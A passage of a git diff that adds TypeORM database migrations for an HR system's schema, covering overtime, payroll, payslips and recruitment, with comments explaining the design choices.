CONSTRAINT "ck_overtime_requests_decision" CHECK (
|
||||
"status" NOT IN ('APPROVED','REJECTED')
|
||||
OR ("decided_by_employee_id" IS NOT NULL AND "decided_at" IS NOT NULL)
|
||||
)
|
||||
)
|
||||
`);
|
||||
await queryRunner.query(`
|
||||
CREATE INDEX IF NOT EXISTS "idx_overtime_requests_employee"
|
||||
ON "hr"."overtime_requests" ("employee_id", "work_date")
|
||||
`);
|
||||
await queryRunner.query(`
|
||||
CREATE INDEX IF NOT EXISTS "idx_overtime_requests_approver"
|
||||
ON "hr"."overtime_requests" ("approver_employee_id")
|
||||
WHERE "status" = 'SUBMITTED'
|
||||
`);
|
||||
}
|
||||
|
||||
public async down(queryRunner: QueryRunner): Promise<void> {
|
||||
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."overtime_requests"`);
|
||||
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."overtime_rates"`);
|
||||
await queryRunner.query(
|
||||
`DROP TABLE IF EXISTS "hr"."attendance_regularizations"`,
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,225 @@
|
||||
import { MigrationInterface, QueryRunner } from "typeorm";
|
||||
|
||||
/**
|
||||
* Payroll foundation — Module 3.4, slice 1.
|
||||
*
|
||||
* Money is `numeric(14,2)` everywhere and never a float. Rates are
|
||||
* `numeric(7,4)` so a 7% pension contribution is 0.0700 exactly rather than a
|
||||
* binary approximation that drifts over 2,400 payslips.
|
||||
*
|
||||
* - `salary_components` the catalogue: basic, allowances, deductions and
|
||||
* employer contributions, each saying how it is
|
||||
* computed and whether it is taxable and pensionable.
|
||||
* - `salary_structures` a named set of components, usually per grade.
|
||||
* - `salary_structure_lines` the components in a structure, with their amounts.
|
||||
* - `employee_salaries` what an employee is actually on, effective-dated —
|
||||
* a raise must not rewrite last month's payslip.
|
||||
* - `income_tax_brackets` Schedule B, effective-dated. The bands are DATA:
|
||||
* Ethiopia has revised them before and will again,
|
||||
* and a payslip recomputed under a later schedule
|
||||
* than the month it belongs to is simply wrong.
|
||||
* - `statutory_rates` pension and anything else expressed as a rate.
|
||||
*
|
||||
* No foreign keys into `iam.*`, as everywhere else in this schema.
|
||||
*/
|
||||
export class HrPayrollFoundation3600000000009 implements MigrationInterface {
|
||||
name = "HrPayrollFoundation3600000000009";
|
||||
|
||||
public async up(queryRunner: QueryRunner): Promise<void> {
|
||||
await queryRunner.query(`
|
||||
CREATE TABLE IF NOT EXISTS "hr"."salary_components" (
|
||||
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||
"organization_id" uuid NOT NULL,
|
||||
"code" varchar(32) NOT NULL,
|
||||
"name" jsonb NOT NULL,
|
||||
"component_type" varchar(24) NOT NULL,
|
||||
"calculation" varchar(24) NOT NULL DEFAULT 'FIXED',
|
||||
"default_amount" numeric(14,2),
|
||||
"default_rate" numeric(7,4),
|
||||
"is_taxable" boolean NOT NULL DEFAULT true,
|
||||
"is_pensionable" boolean NOT NULL DEFAULT false,
|
||||
"tax_exempt_amount" numeric(14,2),
|
||||
"tax_exempt_rate_of_basic" numeric(7,4),
|
||||
"affects_net_pay" boolean NOT NULL DEFAULT true,
|
||||
"statute_reference" varchar(64),
|
||||
"sort_order" smallint NOT NULL DEFAULT 100,
|
||||
"is_active" boolean NOT NULL DEFAULT true,
|
||||
"created_by" uuid,
|
||||
"updated_by" uuid,
|
||||
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
"updated_at" timestamptz,
|
||||
"deleted_at" timestamptz,
|
||||
CONSTRAINT "ck_salary_components_type"
|
||||
CHECK ("component_type" IN
|
||||
('BASIC','ALLOWANCE','DEDUCTION','EMPLOYER_CONTRIBUTION')),
|
||||
CONSTRAINT "ck_salary_components_calculation"
|
||||
CHECK ("calculation" IN
|
||||
('FIXED','PERCENT_OF_BASIC','PERCENT_OF_GROSS','PERCENT_OF_TAXABLE','STATUTORY')),
|
||||
CONSTRAINT "ck_salary_components_amounts"
|
||||
CHECK ("default_amount" IS NULL OR "default_amount" >= 0),
|
||||
CONSTRAINT "ck_salary_components_rate"
|
||||
CHECK ("default_rate" IS NULL OR ("default_rate" >= 0 AND "default_rate" <= 1)),
|
||||
-- A partial exemption is expressed as a cap, a fraction of basic, or
|
||||
-- both (the lower wins). Negative values would create phantom income.
|
||||
CONSTRAINT "ck_salary_components_exempt"
|
||||
CHECK (("tax_exempt_amount" IS NULL OR "tax_exempt_amount" >= 0)
|
||||
AND ("tax_exempt_rate_of_basic" IS NULL
|
||||
OR ("tax_exempt_rate_of_basic" >= 0 AND "tax_exempt_rate_of_basic" <= 1)))
|
||||
)
|
||||
`);
|
||||
await queryRunner.query(`
|
||||
CREATE UNIQUE INDEX IF NOT EXISTS "uq_salary_components_org_code"
|
||||
ON "hr"."salary_components" ("organization_id", "code")
|
||||
WHERE "deleted_at" IS NULL
|
||||
`);
|
||||
|
||||
await queryRunner.query(`
|
||||
CREATE TABLE IF NOT EXISTS "hr"."salary_structures" (
|
||||
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||
"organization_id" uuid NOT NULL,
|
||||
"code" varchar(32) NOT NULL,
|
||||
"name" jsonb NOT NULL,
|
||||
"description" jsonb,
|
||||
"job_title_id" uuid,
|
||||
"is_active" boolean NOT NULL DEFAULT true,
|
||||
"created_by" uuid,
|
||||
"updated_by" uuid,
|
||||
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
"updated_at" timestamptz,
|
||||
"deleted_at" timestamptz,
|
||||
CONSTRAINT "fk_salary_structures_job_title"
|
||||
FOREIGN KEY ("job_title_id") REFERENCES "hr"."job_titles" ("id")
|
||||
)
|
||||
`);
|
||||
await queryRunner.query(`
|
||||
CREATE UNIQUE INDEX IF NOT EXISTS "uq_salary_structures_org_code"
|
||||
ON "hr"."salary_structures" ("organization_id", "code")
|
||||
WHERE "deleted_at" IS NULL
|
||||
`);
|
||||
|
||||
await queryRunner.query(`
|
||||
CREATE TABLE IF NOT EXISTS "hr"."salary_structure_lines" (
|
||||
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||
"salary_structure_id" uuid NOT NULL,
|
||||
"salary_component_id" uuid NOT NULL,
|
||||
"amount" numeric(14,2),
|
||||
"rate" numeric(7,4),
|
||||
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
"updated_at" timestamptz,
|
||||
CONSTRAINT "fk_structure_lines_structure"
|
||||
FOREIGN KEY ("salary_structure_id")
|
||||
REFERENCES "hr"."salary_structures" ("id") ON DELETE CASCADE,
|
||||
CONSTRAINT "fk_structure_lines_component"
|
||||
FOREIGN KEY ("salary_component_id")
|
||||
REFERENCES "hr"."salary_components" ("id"),
|
||||
CONSTRAINT "ck_structure_lines_amount"
|
||||
CHECK ("amount" IS NULL OR "amount" >= 0),
|
||||
CONSTRAINT "ck_structure_lines_rate"
|
||||
CHECK ("rate" IS NULL OR ("rate" >= 0 AND "rate" <= 1))
|
||||
)
|
||||
`);
|
||||
await queryRunner.query(`
|
||||
CREATE UNIQUE INDEX IF NOT EXISTS "uq_structure_lines_component"
|
||||
ON "hr"."salary_structure_lines"
|
||||
("salary_structure_id", "salary_component_id")
|
||||
`);
|
||||
|
||||
await queryRunner.query(`
|
||||
CREATE TABLE IF NOT EXISTS "hr"."employee_salaries" (
|
||||
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||
"organization_id" uuid NOT NULL,
|
||||
"employee_id" uuid NOT NULL,
|
||||
"salary_structure_id" uuid,
|
||||
"basic_salary" numeric(14,2) NOT NULL,
|
||||
"currency" varchar(3) NOT NULL DEFAULT 'ETB',
|
||||
"effective_from" date NOT NULL,
|
||||
"effective_to" date,
|
||||
"reason" varchar(256),
|
||||
"created_by" uuid,
|
||||
"updated_by" uuid,
|
||||
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
"updated_at" timestamptz,
|
||||
"deleted_at" timestamptz,
|
||||
CONSTRAINT "fk_employee_salaries_structure"
|
||||
FOREIGN KEY ("salary_structure_id")
|
||||
REFERENCES "hr"."salary_structures" ("id"),
|
||||
CONSTRAINT "ck_employee_salaries_basic" CHECK ("basic_salary" >= 0),
|
||||
CONSTRAINT "ck_employee_salaries_range"
|
||||
CHECK ("effective_to" IS NULL OR "effective_to" >= "effective_from")
|
||||
)
|
||||
`);
|
||||
await queryRunner.query(`
|
||||
CREATE INDEX IF NOT EXISTS "idx_employee_salaries_employee"
|
||||
ON "hr"."employee_salaries" ("employee_id", "effective_from")
|
||||
`);
|
||||
// One open salary per employee, or "what are they paid?" has two answers.
|
||||
await queryRunner.query(`
|
||||
CREATE UNIQUE INDEX IF NOT EXISTS "uq_employee_salaries_open"
|
||||
ON "hr"."employee_salaries" ("employee_id")
|
||||
WHERE "effective_to" IS NULL AND "deleted_at" IS NULL
|
||||
`);
|
||||
|
||||
await queryRunner.query(`
|
||||
CREATE TABLE IF NOT EXISTS "hr"."income_tax_brackets" (
|
||||
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||
"organization_id" uuid,
|
||||
"effective_from" date NOT NULL,
|
||||
"effective_to" date,
|
||||
"lower_bound" numeric(14,2) NOT NULL,
|
||||
"upper_bound" numeric(14,2),
|
||||
"rate" numeric(7,4) NOT NULL,
|
||||
"deduction" numeric(14,2) NOT NULL DEFAULT 0,
|
||||
"statute_reference" varchar(64),
|
||||
"created_by" uuid,
|
||||
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
"updated_at" timestamptz,
|
||||
"deleted_at" timestamptz,
|
||||
CONSTRAINT "ck_tax_brackets_bounds"
|
||||
CHECK ("upper_bound" IS NULL OR "upper_bound" > "lower_bound"),
|
||||
CONSTRAINT "ck_tax_brackets_rate"
|
||||
CHECK ("rate" >= 0 AND "rate" <= 1),
|
||||
CONSTRAINT "ck_tax_brackets_deduction" CHECK ("deduction" >= 0),
|
||||
CONSTRAINT "ck_tax_brackets_range"
|
||||
CHECK ("effective_to" IS NULL OR "effective_to" >= "effective_from")
|
||||
)
|
||||
`);
|
||||
await queryRunner.query(`
|
||||
CREATE INDEX IF NOT EXISTS "idx_tax_brackets_effective"
|
||||
ON "hr"."income_tax_brackets" ("effective_from", "lower_bound")
|
||||
`);
|
||||
|
||||
await queryRunner.query(`
|
||||
CREATE TABLE IF NOT EXISTS "hr"."statutory_rates" (
|
||||
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||
"organization_id" uuid,
|
||||
"code" varchar(48) NOT NULL,
|
||||
"name" jsonb NOT NULL,
|
||||
"rate" numeric(7,4) NOT NULL,
|
||||
"effective_from" date NOT NULL,
|
||||
"effective_to" date,
|
||||
"statute_reference" varchar(64),
|
||||
"created_by" uuid,
|
||||
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
"updated_at" timestamptz,
|
||||
"deleted_at" timestamptz,
|
||||
CONSTRAINT "ck_statutory_rates_rate"
|
||||
CHECK ("rate" >= 0 AND "rate" <= 1),
|
||||
CONSTRAINT "ck_statutory_rates_range"
|
||||
CHECK ("effective_to" IS NULL OR "effective_to" >= "effective_from")
|
||||
)
|
||||
`);
|
||||
await queryRunner.query(`
|
||||
CREATE INDEX IF NOT EXISTS "idx_statutory_rates_code"
|
||||
ON "hr"."statutory_rates" ("code", "effective_from")
|
||||
`);
|
||||
}
|
||||
|
||||
public async down(queryRunner: QueryRunner): Promise<void> {
|
||||
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."statutory_rates"`);
|
||||
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."income_tax_brackets"`);
|
||||
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."employee_salaries"`);
|
||||
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."salary_structure_lines"`);
|
||||
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."salary_structures"`);
|
||||
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."salary_components"`);
|
||||
}
|
||||
}
|
||||
146
apps/edr-hr-api/src/migrations/3600000000010-HrPayrollRuns.ts
Normal file
146
apps/edr-hr-api/src/migrations/3600000000010-HrPayrollRuns.ts
Normal file
@@ -0,0 +1,146 @@
|
||||
import { MigrationInterface, QueryRunner } from "typeorm";
|
||||
|
||||
/**
|
||||
* Payroll runs and payslips — Module 3.4, slice 2.
|
||||
*
|
||||
* A payslip stores COMPUTED AMOUNTS, never formulas. Once a run is approved the
|
||||
* numbers are what was paid, reported to tax and contributed to pension; a
|
||||
* payslip that recalculates on read would silently restate the past the first
|
||||
* time a rate, a structure or a salary changed.
|
||||
*
|
||||
* `payslip_lines` is deliberately fine-grained — one row per component per
|
||||
* employee — because the tax and pension reports read it, and reconstructing
|
||||
* "how much transport allowance did we pay in Hamle" from a total is not
|
||||
* possible after the fact.
|
||||
*
|
||||
* The run's state machine is DRAFT → CALCULATED → APPROVED → PAID. Calculation
|
||||
* is repeatable while DRAFT or CALCULATED and refused afterwards.
|
||||
*/
|
||||
export class HrPayrollRuns3600000000010 implements MigrationInterface {
|
||||
name = "HrPayrollRuns3600000000010";
|
||||
|
||||
public async up(queryRunner: QueryRunner): Promise<void> {
|
||||
await queryRunner.query(`
|
||||
CREATE TABLE IF NOT EXISTS "hr"."payroll_runs" (
|
||||
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||
"organization_id" uuid NOT NULL,
|
||||
"period_start" date NOT NULL,
|
||||
"period_end" date NOT NULL,
|
||||
"payment_date" date,
|
||||
"status" varchar(16) NOT NULL DEFAULT 'DRAFT',
|
||||
"note" varchar(512),
|
||||
"employee_count" integer NOT NULL DEFAULT 0,
|
||||
"total_gross" numeric(16,2) NOT NULL DEFAULT 0,
|
||||
"total_deductions" numeric(16,2) NOT NULL DEFAULT 0,
|
||||
"total_net" numeric(16,2) NOT NULL DEFAULT 0,
|
||||
"total_income_tax" numeric(16,2) NOT NULL DEFAULT 0,
|
||||
"total_pension_employee" numeric(16,2) NOT NULL DEFAULT 0,
|
||||
"total_pension_employer" numeric(16,2) NOT NULL DEFAULT 0,
|
||||
"calculated_at" timestamptz,
|
||||
"approved_by_employee_id" uuid,
|
||||
"approved_at" timestamptz,
|
||||
"created_by" uuid,
|
||||
"updated_by" uuid,
|
||||
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
"updated_at" timestamptz,
|
||||
"deleted_at" timestamptz,
|
||||
CONSTRAINT "ck_payroll_runs_status"
|
||||
CHECK ("status" IN ('DRAFT','CALCULATED','APPROVED','PAID','CANCELLED')),
|
||||
CONSTRAINT "ck_payroll_runs_period"
|
||||
CHECK ("period_end" >= "period_start"),
|
||||
CONSTRAINT "ck_payroll_runs_approval" CHECK (
|
||||
"status" NOT IN ('APPROVED','PAID')
|
||||
OR ("approved_by_employee_id" IS NOT NULL AND "approved_at" IS NOT NULL)
|
||||
)
|
||||
)
|
||||
`);
|
||||
// One run per organization per period. A second would double-pay everyone.
|
||||
await queryRunner.query(`
|
||||
CREATE UNIQUE INDEX IF NOT EXISTS "uq_payroll_runs_org_period"
|
||||
ON "hr"."payroll_runs" ("organization_id", "period_start", "period_end")
|
||||
WHERE "deleted_at" IS NULL AND "status" <> 'CANCELLED'
|
||||
`);
|
||||
|
||||
await queryRunner.query(`
|
||||
CREATE TABLE IF NOT EXISTS "hr"."payslips" (
|
||||
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||
"payroll_run_id" uuid NOT NULL,
|
||||
"organization_id" uuid NOT NULL,
|
||||
"employee_id" uuid NOT NULL,
|
||||
"employee_number" varchar(32),
|
||||
"basic_salary" numeric(14,2) NOT NULL DEFAULT 0,
|
||||
"gross_pay" numeric(14,2) NOT NULL DEFAULT 0,
|
||||
"taxable_income" numeric(14,2) NOT NULL DEFAULT 0,
|
||||
"pensionable_income" numeric(14,2) NOT NULL DEFAULT 0,
|
||||
"income_tax" numeric(14,2) NOT NULL DEFAULT 0,
|
||||
"pension_employee" numeric(14,2) NOT NULL DEFAULT 0,
|
||||
"pension_employer" numeric(14,2) NOT NULL DEFAULT 0,
|
||||
"total_deductions" numeric(14,2) NOT NULL DEFAULT 0,
|
||||
"net_pay" numeric(14,2) NOT NULL DEFAULT 0,
|
||||
"worked_days" numeric(6,2),
|
||||
"absent_days" numeric(6,2),
|
||||
"overtime_hours" numeric(8,2) NOT NULL DEFAULT 0,
|
||||
"salary_mode" varchar(16),
|
||||
"bank_account" varchar(64),
|
||||
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
"updated_at" timestamptz,
|
||||
CONSTRAINT "fk_payslips_run"
|
||||
FOREIGN KEY ("payroll_run_id")
|
||||
REFERENCES "hr"."payroll_runs" ("id") ON DELETE CASCADE,
|
||||
CONSTRAINT "ck_payslips_amounts" CHECK (
|
||||
"gross_pay" >= 0 AND "total_deductions" >= 0
|
||||
AND "income_tax" >= 0 AND "pension_employee" >= 0
|
||||
AND "pension_employer" >= 0
|
||||
)
|
||||
)
|
||||
`);
|
||||
await queryRunner.query(`
|
||||
CREATE UNIQUE INDEX IF NOT EXISTS "uq_payslips_run_employee"
|
||||
ON "hr"."payslips" ("payroll_run_id", "employee_id")
|
||||
`);
|
||||
await queryRunner.query(`
|
||||
CREATE INDEX IF NOT EXISTS "idx_payslips_employee"
|
||||
ON "hr"."payslips" ("employee_id")
|
||||
`);
|
||||
|
||||
await queryRunner.query(`
|
||||
CREATE TABLE IF NOT EXISTS "hr"."payslip_lines" (
|
||||
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||
"payslip_id" uuid NOT NULL,
|
||||
"salary_component_id" uuid,
|
||||
"code" varchar(32) NOT NULL,
|
||||
"name" jsonb NOT NULL,
|
||||
"component_type" varchar(24) NOT NULL,
|
||||
"amount" numeric(14,2) NOT NULL,
|
||||
"taxable_amount" numeric(14,2) NOT NULL DEFAULT 0,
|
||||
"is_taxable" boolean NOT NULL DEFAULT true,
|
||||
"is_pensionable" boolean NOT NULL DEFAULT false,
|
||||
"affects_net_pay" boolean NOT NULL DEFAULT true,
|
||||
"basis" varchar(256),
|
||||
"sort_order" smallint NOT NULL DEFAULT 100,
|
||||
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
CONSTRAINT "fk_payslip_lines_payslip"
|
||||
FOREIGN KEY ("payslip_id")
|
||||
REFERENCES "hr"."payslips" ("id") ON DELETE CASCADE,
|
||||
CONSTRAINT "ck_payslip_lines_type"
|
||||
CHECK ("component_type" IN
|
||||
('BASIC','ALLOWANCE','DEDUCTION','EMPLOYER_CONTRIBUTION'))
|
||||
)
|
||||
`);
|
||||
await queryRunner.query(`
|
||||
CREATE INDEX IF NOT EXISTS "idx_payslip_lines_payslip"
|
||||
ON "hr"."payslip_lines" ("payslip_id")
|
||||
`);
|
||||
// The tax and pension reports read by code across a period.
|
||||
await queryRunner.query(`
|
||||
CREATE INDEX IF NOT EXISTS "idx_payslip_lines_code"
|
||||
ON "hr"."payslip_lines" ("code")
|
||||
`);
|
||||
}
|
||||
|
||||
public async down(queryRunner: QueryRunner): Promise<void> {
|
||||
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."payslip_lines"`);
|
||||
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."payslips"`);
|
||||
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."payroll_runs"`);
|
||||
}
|
||||
}
|
||||
264
apps/edr-hr-api/src/migrations/3600000000011-HrRecruitment.ts
Normal file
264
apps/edr-hr-api/src/migrations/3600000000011-HrRecruitment.ts
Normal file
@@ -0,0 +1,264 @@
|
||||
import { MigrationInterface, QueryRunner } from "typeorm";
|
||||
|
||||
/**
|
||||
* Recruitment — Module 3.5.
|
||||
*
|
||||
* - `job_openings` a vacancy: which IAM position it fills, how many, and
|
||||
* where it is in its own approval lifecycle.
|
||||
* - `applicants` a person outside the organization. Deliberately NOT an
|
||||
* `iam.users` row: most applicants are never hired, and
|
||||
* creating accounts for them would fill IAM with people
|
||||
* who have no relationship to the employer. An IAM
|
||||
* account is created only at hire, through the same
|
||||
* endpoint HR uses to hire anyone else.
|
||||
* - `applications` one applicant against one opening, with the stage they
|
||||
* have reached.
|
||||
* - `interviews` scheduled sessions and their scores.
|
||||
* - `job_offers` what was offered, and what happened to it.
|
||||
*
|
||||
* `applications.stage` is a single column rather than a table of transitions:
|
||||
* the history that matters is captured by the interviews and the offer, and a
|
||||
* separate audit of stage moves would be a lot of rows nobody reads.
|
||||
*/
|
||||
export class HrRecruitment3600000000011 implements MigrationInterface {
|
||||
name = "HrRecruitment3600000000011";
|
||||
|
||||
public async up(queryRunner: QueryRunner): Promise<void> {
|
||||
await queryRunner.query(`
|
||||
CREATE TABLE IF NOT EXISTS "hr"."job_openings" (
|
||||
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||
"organization_id" uuid NOT NULL,
|
||||
"reference" varchar(32) NOT NULL,
|
||||
"title" jsonb NOT NULL,
|
||||
"description" jsonb,
|
||||
"position_id" uuid,
|
||||
"unit_id" uuid,
|
||||
"job_title_id" uuid,
|
||||
"employment_type" varchar(16) NOT NULL DEFAULT 'PERMANENT',
|
||||
"openings" smallint NOT NULL DEFAULT 1,
|
||||
"filled" smallint NOT NULL DEFAULT 0,
|
||||
"status" varchar(16) NOT NULL DEFAULT 'DRAFT',
|
||||
"visibility" varchar(16) NOT NULL DEFAULT 'INTERNAL',
|
||||
"min_experience_years" smallint,
|
||||
"education_requirement" varchar(128),
|
||||
"salary_range_min" numeric(14,2),
|
||||
"salary_range_max" numeric(14,2),
|
||||
"posted_on" date,
|
||||
"closes_on" date,
|
||||
"hiring_manager_employee_id" uuid,
|
||||
"created_by" uuid,
|
||||
"updated_by" uuid,
|
||||
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
"updated_at" timestamptz,
|
||||
"deleted_at" timestamptz,
|
||||
CONSTRAINT "fk_job_openings_job_title"
|
||||
FOREIGN KEY ("job_title_id") REFERENCES "hr"."job_titles" ("id"),
|
||||
CONSTRAINT "ck_job_openings_status"
|
||||
CHECK ("status" IN ('DRAFT','OPEN','ON_HOLD','CLOSED','CANCELLED','FILLED')),
|
||||
CONSTRAINT "ck_job_openings_visibility"
|
||||
CHECK ("visibility" IN ('INTERNAL','EXTERNAL','BOTH')),
|
||||
CONSTRAINT "ck_job_openings_counts"
|
||||
CHECK ("openings" > 0 AND "filled" >= 0 AND "filled" <= "openings"),
|
||||
CONSTRAINT "ck_job_openings_salary_range"
|
||||
CHECK ("salary_range_min" IS NULL OR "salary_range_max" IS NULL
|
||||
OR "salary_range_max" >= "salary_range_min"),
|
||||
CONSTRAINT "ck_job_openings_dates"
|
||||
CHECK ("closes_on" IS NULL OR "posted_on" IS NULL
|
||||
OR "closes_on" >= "posted_on")
|
||||
)
|
||||
`);
|
||||
await queryRunner.query(`
|
||||
CREATE UNIQUE INDEX IF NOT EXISTS "uq_job_openings_org_reference"
|
||||
ON "hr"."job_openings" ("organization_id", "reference")
|
||||
WHERE "deleted_at" IS NULL
|
||||
`);
|
||||
await queryRunner.query(`
|
||||
CREATE INDEX IF NOT EXISTS "idx_job_openings_status"
|
||||
ON "hr"."job_openings" ("organization_id", "status")
|
||||
`);
|
||||
|
||||
await queryRunner.query(`
|
||||
CREATE TABLE IF NOT EXISTS "hr"."applicants" (
|
||||
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||
"organization_id" uuid NOT NULL,
|
||||
"full_name" jsonb NOT NULL,
|
||||
"email" varchar(128),
|
||||
"phone_number" varchar(32) NOT NULL,
|
||||
"gender" varchar(8),
|
||||
"date_of_birth" date,
|
||||
"nationality" varchar(64),
|
||||
"education_level" varchar(64),
|
||||
"years_experience" numeric(5,2),
|
||||
"current_employer" varchar(128),
|
||||
"source" varchar(24) NOT NULL DEFAULT 'DIRECT',
|
||||
"notes" varchar(1024),
|
||||
"created_by" uuid,
|
||||
"updated_by" uuid,
|
||||
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
"updated_at" timestamptz,
|
||||
"deleted_at" timestamptz,
|
||||
CONSTRAINT "ck_applicants_gender"
|
||||
CHECK ("gender" IS NULL OR "gender" IN ('MALE','FEMALE')),
|
||||
CONSTRAINT "ck_applicants_source"
|
||||
CHECK ("source" IN
|
||||
('DIRECT','REFERRAL','AGENCY','WEBSITE','NEWSPAPER','INTERNAL','OTHER')),
|
||||
CONSTRAINT "ck_applicants_experience"
|
||||
CHECK ("years_experience" IS NULL OR "years_experience" >= 0)
|
||||
)
|
||||
`);
|
||||
// Phone is the reliable identifier here — many applicants have no email.
|
||||
await queryRunner.query(`
|
||||
CREATE UNIQUE INDEX IF NOT EXISTS "uq_applicants_org_phone"
|
||||
ON "hr"."applicants" ("organization_id", "phone_number")
|
||||
WHERE "deleted_at" IS NULL
|
||||
`);
|
||||
|
||||
await queryRunner.query(`
|
||||
CREATE TABLE IF NOT EXISTS "hr"."applications" (
|
||||
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||
"organization_id" uuid NOT NULL,
|
||||
"job_opening_id" uuid NOT NULL,
|
||||
"applicant_id" uuid NOT NULL,
|
||||
"stage" varchar(24) NOT NULL DEFAULT 'APPLIED',
|
||||
"applied_on" date NOT NULL,
|
||||
"screening_score" numeric(5,2),
|
||||
"rejection_reason" varchar(256),
|
||||
"withdrawn_reason" varchar(256),
|
||||
"cv_document_id" uuid,
|
||||
"notes" varchar(1024),
|
||||
"created_by" uuid,
|
||||
"updated_by" uuid,
|
||||
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
"updated_at" timestamptz,
|
||||
"deleted_at" timestamptz,
|
||||
CONSTRAINT "fk_applications_opening"
|
||||
FOREIGN KEY ("job_opening_id") REFERENCES "hr"."job_openings" ("id"),
|
||||
CONSTRAINT "fk_applications_applicant"
|
||||
FOREIGN KEY ("applicant_id") REFERENCES "hr"."applicants" ("id"),
|
||||
CONSTRAINT "ck_applications_stage"
|
||||
CHECK ("stage" IN
|
||||
('APPLIED','SCREENING','SHORTLISTED','INTERVIEW','OFFER',
|
||||
'HIRED','REJECTED','WITHDRAWN')),
|
||||
CONSTRAINT "ck_applications_score"
|
||||
CHECK ("screening_score" IS NULL
|
||||
OR ("screening_score" >= 0 AND "screening_score" <= 100))
|
||||
)
|
||||
`);
|
||||
// One application per person per opening. Re-applying is the same
|
||||
// application moving stage, not a second row competing with the first.
|
||||
await queryRunner.query(`
|
||||
CREATE UNIQUE INDEX IF NOT EXISTS "uq_applications_opening_applicant"
|
||||
ON "hr"."applications" ("job_opening_id", "applicant_id")
|
||||
WHERE "deleted_at" IS NULL
|
||||
`);
|
||||
await queryRunner.query(`
|
||||
CREATE INDEX IF NOT EXISTS "idx_applications_stage"
|
||||
ON "hr"."applications" ("job_opening_id", "stage")
|
||||
`);
|
||||
|
||||
await queryRunner.query(`
|
||||
CREATE TABLE IF NOT EXISTS "hr"."interviews" (
|
||||
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||
"organization_id" uuid NOT NULL,
|
||||
"application_id" uuid NOT NULL,
|
||||
"round" smallint NOT NULL DEFAULT 1,
|
||||
"interview_type" varchar(24) NOT NULL DEFAULT 'PANEL',
|
||||
"scheduled_at" timestamptz NOT NULL,
|
||||
"duration_minutes" smallint NOT NULL DEFAULT 60,
|
||||
"location" varchar(256),
|
||||
"interviewer_employee_ids" uuid[],
|
||||
"status" varchar(16) NOT NULL DEFAULT 'SCHEDULED',
|
||||
"score" numeric(5,2),
|
||||
"recommendation" varchar(16),
|
||||
"feedback" varchar(2048),
|
||||
"created_by" uuid,
|
||||
"updated_by" uuid,
|
||||
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
"updated_at" timestamptz,
|
||||
"deleted_at" timestamptz,
|
||||
CONSTRAINT "fk_interviews_application"
|
||||
FOREIGN KEY ("application_id")
|
||||
REFERENCES "hr"."applications" ("id") ON DELETE CASCADE,
|
||||
CONSTRAINT "ck_interviews_type"
|
||||
CHECK ("interview_type" IN
|
||||
('PHONE','PANEL','TECHNICAL','WRITTEN','PRACTICAL','FINAL')),
|
||||
CONSTRAINT "ck_interviews_status"
|
||||
CHECK ("status" IN ('SCHEDULED','COMPLETED','CANCELLED','NO_SHOW')),
|
||||
CONSTRAINT "ck_interviews_score"
|
||||
CHECK ("score" IS NULL OR ("score" >= 0 AND "score" <= 100)),
|
||||
CONSTRAINT "ck_interviews_recommendation"
|
||||
CHECK ("recommendation" IS NULL
|
||||
OR "recommendation" IN ('ADVANCE','HOLD','REJECT')),
|
||||
CONSTRAINT "ck_interviews_round" CHECK ("round" > 0),
|
||||
-- A completed interview must say how it went, or the record is useless
|
||||
-- to the person deciding on the offer.
|
||||
CONSTRAINT "ck_interviews_completed"
|
||||
CHECK ("status" <> 'COMPLETED' OR "recommendation" IS NOT NULL)
|
||||
)
|
||||
`);
|
||||
await queryRunner.query(`
|
||||
CREATE UNIQUE INDEX IF NOT EXISTS "uq_interviews_application_round"
|
||||
ON "hr"."interviews" ("application_id", "round")
|
||||
WHERE "deleted_at" IS NULL
|
||||
`);
|
||||
|
||||
await queryRunner.query(`
|
||||
CREATE TABLE IF NOT EXISTS "hr"."job_offers" (
|
||||
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||
"organization_id" uuid NOT NULL,
|
||||
"application_id" uuid NOT NULL,
|
||||
